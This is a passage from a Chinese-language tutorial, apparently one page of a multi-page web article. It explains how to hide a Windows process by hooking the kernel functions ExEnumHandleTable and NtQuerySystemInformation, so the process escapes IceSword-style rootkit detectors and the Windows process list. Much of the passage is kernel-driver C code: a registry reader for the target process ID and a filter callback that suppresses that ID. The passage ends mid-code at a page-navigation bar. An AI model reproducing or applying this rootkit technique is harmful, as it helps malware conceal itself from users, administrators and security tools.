| lback所指向的函数地址,把它所指向的函数地址先放到OldCallback中,然后用我们构造的新的回调函数FilterCallback去替换掉原来的Callback。这样该函数在执行回调函数时就会先调用我们给它的FilterCallback回调函数。在我们设计的FilterCallback中,判断当前进程ID是否时我们要隐藏的进程ID,不是的话则把参数传给OldCallback去执行,如果是的话则直接return。这样就起到隐藏进程的作用。
以上是对付IS的,对于应付windows进程管理的方法,与sinister使用的方法大体相同,不过有些不同。sinister是通过比较进程名来确定自己要隐藏的进程。这种方法对于隐藏要启动两个和两个以上相同名字的进程比较可取,但问题是如果你只是要隐藏一个进程的话。那么这个方法就显得不完美了。完全可以通过直接比较进程ID来确定自己要隐藏的进程。建议不到不得以的时候尽量不要使用比较文件名的方法,太影响效率。
下面的代码中,GetProcessID()函数是用来从注册表中读取要隐藏的进程ID,当然首先你要在注册表设置这个值。用注册表还是很方便的。
PatchExEnumHandleTable()函数是通过hook系统函数ExEnumHandleTable函数实现在IS中隐藏目标进程,PatchNtQuerySystemInformation ()函数是通过hook系统函数NtQuerySystemInformation并通过比较进程ID的方法实现隐藏进程。
HANDLE ProtectID; unsigned char ResumCodeExEnumHandleTable[6]; unsigned char CrackCodeExEnumHandleTable[6]; unsigned char ResumCodeNtQuerySystemInformation[6]; unsigned char CrackCodeNtQuerySystemInformation[6];
typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(
IN ULONG SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );
NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;
typedef VOID (*EXENUMHANDLETABLE) ( PULONG HandleTable, PVOID Callback, PVOID Param, PHANDLE Handle OPTIONAL );
EXENUMHANDLETABLE OldExEnumHandleTable;
typedef BOOL (*EXENUMHANDLETABLECALLBACK) ( DWORD HANDLE_TALBE_ENTRY, DWORD PID, PVOID Param );
EXENUMHANDLETABLECALLBACK OldCallback;
NTSTATUS GetProcessID ( IN PUNICODE_STRING theRegistryPath ) { OBJECT_ATTRIBUTES ObjectAttributes; NTSTATUS Status;
HANDLE KeyHandle; PHANDLE Phandle; PKEY_VALUE_PARTIAL_INFORMATION valueInfoP; ULONG valueInfoLength,returnLength;
UNICODE_STRING UnicodeProcIDreg;
InitializeObjectAttributes ( &ObjectAttributes, theRegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL );
Status = ZwOpenKey ( &KeyHandle, KEY_ALL_ACCESS, &ObjectAttributes );
if (Status != STATUS_SUCCESS) { DbgPrint("ZwOpenKey Wrong\n"); return STATUS_DEVICE_CONFIGURATION_ERROR; }
RtlInitUnicodeString ( &UnicodeProcIDreg, L"ProcessID" );
valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);
valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool ( NonPagedPool, valueInfoLength ); Status = ZwQueryValueKey ( KeyHandle, &UnicodeProcIDreg, KeyValuePartialInformation, valueInfoP, valueInfoLength, &returnLength );
if (Status != STATUS_SUCCESS) { DbgPrint("ZwOpenKey Wrong\n"); return STATUS_DEVICE_CONFIGURATION_ERROR; }
Phandle = (PHANDLE)(valueInfoP->Data);
ProtectID = *Phandle;
ZwClose(KeyHandle);
return STATUS_SUCCESS;
}
BOOL FilterCallback ( DWORD HANDLE_TALBE_ENTRY, DWORD PID, PVOID Param ) {
if ( PID != (DWORD)ProtectID) //判断是否是我们要隐藏的进程 { return OldCallback ( HANDLE_TALBE_ENTRY, PID, Param ); } else { return FALSE; //是的话直接返回 &nbs 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |